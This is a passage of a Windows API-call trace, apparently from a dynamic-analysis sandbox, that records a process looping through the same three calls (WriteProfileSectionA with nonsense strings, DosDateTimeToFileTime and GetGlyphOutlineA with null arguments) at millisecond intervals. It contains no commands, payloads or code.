	[0069.171] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.172] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.172] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.172] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.174] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.174] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.174] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.176] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.176] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.176] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.178] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.178] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.178] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.180] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.180] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.180] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.204] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.204] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.204] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.206] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.206] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.206] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.207] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.207] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.208] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.210] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.210] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.210] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.213] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.213] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.213] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.215] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.215] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.215] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.218] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.218] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.218] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.220] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.220] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.220] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.222] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.222] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.222] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.227] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.227] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.227] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.228] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.228] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.228] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.230] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.230] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.230] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.231] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.232] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.232] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.233] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.233] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.233] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.235] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.235] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.235] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.237] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.237] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.237] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.238] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.238] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.238] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.241] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.241] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.241] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.242] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.242] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.242] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.244] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.244] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.244] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.246] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.246] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.246] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.247] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.247] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.247] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.249] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.249] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.249] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.251] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.251] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.251] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.252] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.252] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.252] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.256] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.256] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.256] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.257] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.257] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.257] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.259] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.259] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.259] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.261] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.261] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.261] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.263] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.263] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.263] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.265] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.265] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.265] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.267] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.267] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.267] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.268] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.268] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.269] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.270] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.270] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.270] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.274] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.274] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.274] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.276] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.276] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.276] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.278] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.278] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.278] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.284] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.284] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.284] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.287] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.287] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.287] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.293] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.293] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.293] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.297] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.297] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.297] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.307] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.307] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.307] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.309] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.309] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.309] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.310] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.310] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.310] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.312] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.312] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.312] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.314] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.314] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.314] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.316] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.316] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.316] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.319] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.319] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.319] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.322] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.322] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
